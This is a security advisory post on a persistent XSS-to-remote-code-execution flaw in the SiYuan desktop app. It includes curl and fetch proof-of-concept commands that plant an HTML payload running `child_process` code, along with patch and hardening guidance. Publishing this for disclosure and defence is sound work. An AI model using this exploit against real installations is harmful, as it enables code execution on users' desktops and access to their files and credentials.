SiYuan, Persistent XSS to RCE, CVE-NONE (Critical)

Listen to this Post

How the CVE works (technical details):

The kernel stores Attribute View (AV) names without HTML escaping (kernel/model/attribute_view.go:3244-3255). A template (attrAvNameTpl) uses `strings.ReplaceAll(tpl, “${avName}”, nodeAvName)` – raw concatenation. Three client sinks consume the unescaped name: `render.ts:120` → outerHTML, `.ts:401` → innerHTML, and `transaction.ts:559` → innerHTML. The Electron main window runs nodeIntegration:true, contextIsolation:false, `webSecurity:false` (main.js:407-411), turning any XSS into Node.js RCE. The payload persists in data/storage/av/<id>.json, survives sync (S3/WebDAV), `.sy.zip` export/import, and triggers for any role (Admin, Editor, Reader). The API route `/api/transactions setAttrViewName` requires admin but default install grants Administrator to localhost and `chrome-extension://` origins (session.go:261-287). An attacker via malicious browser extension or local webpage can call `setAttrViewName` with an XSS payload (e.g., <img src=x onerror="require('child_process').exec('calc')">). When any victim opens the doc containing that AV, the unescaped name renders, executes the payload, spawning a calculator. Three independent code paths missed escaping while four sibling fields (bookmark, name, alias, memo) correctly use `Lute.EscapeHTMLStr` – only `av-names` was raw.

dailycve form:

Platform: SiYuan desktop
Version: 3.6.5
Vulnerability: Persistent XSS→RCE
Severity: Critical
date: 2026-05-03

Prediction: Patch 2026-05-17

What Undercode Say:

Verify vulnerable version
curl -s http://127.0.0.1:6806/api/system/version | grep "3.6.5"
Create malicious AV name (PoC)
AV_ID="20260503160000-aaaaaaa"
DOC_ID="20260503160000-bbbbbbb"
curl -X POST http://127.0.0.1:6806/api/transactions \
-H 'Content-Type: application/json' \
-d '{"session":"x","app":"siyuan","transactions":[{"doOperations":[{"action":"setAttrViewName","id":"'$AV_ID'","data":"<img src=x onerror=\"require(\"child_process\").exec(\"calc\")\">"}],"undoOperations":[]}]}'
Verify unescaped storage
python3 -c "import json; print(json.load(open('~/SiYuanWorkspace/data/storage/av/$AV_ID.json'))['name'])"

Exploit:

Attacker with `chrome-extension://` origin (any installed extension) calls `fetch(‘http://127.0.0.1:6806/api/transactions’, {method:’POST’,body:JSON.stringify({…})})` to plant payload. Victim opens infected doc → `` triggers `require(‘child_process’).exec(‘calc’)` → calc.exe / xcalc / open -a Calculator.

Protection from this CVE:

Upgrade to patched version (>3.6.5). If unavailable, edit kernel/model/attribute_view.go: wrap `${avName}` with template.HTMLEscapeString(). In transaction.ts:559, use Lute.EscapeHTMLStr(data.new["av-names"]). Set `contextIsolation: true` and preload bridge in Electron. Disable `nodeIntegration` on main window. Block `chrome-extension://` origins in session origin check.

Impact:

Remote code execution on victim’s desktop with user privileges. Persistent across sync, backups, exports. Full filesystem access (.ssh/, .aws/). Privilege escalation to cloud accounts. Any role (including read-only publish viewers) triggers RCE. Attack vectors: browser extensions, malicious .sy.zip, co-authors, sync peers.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top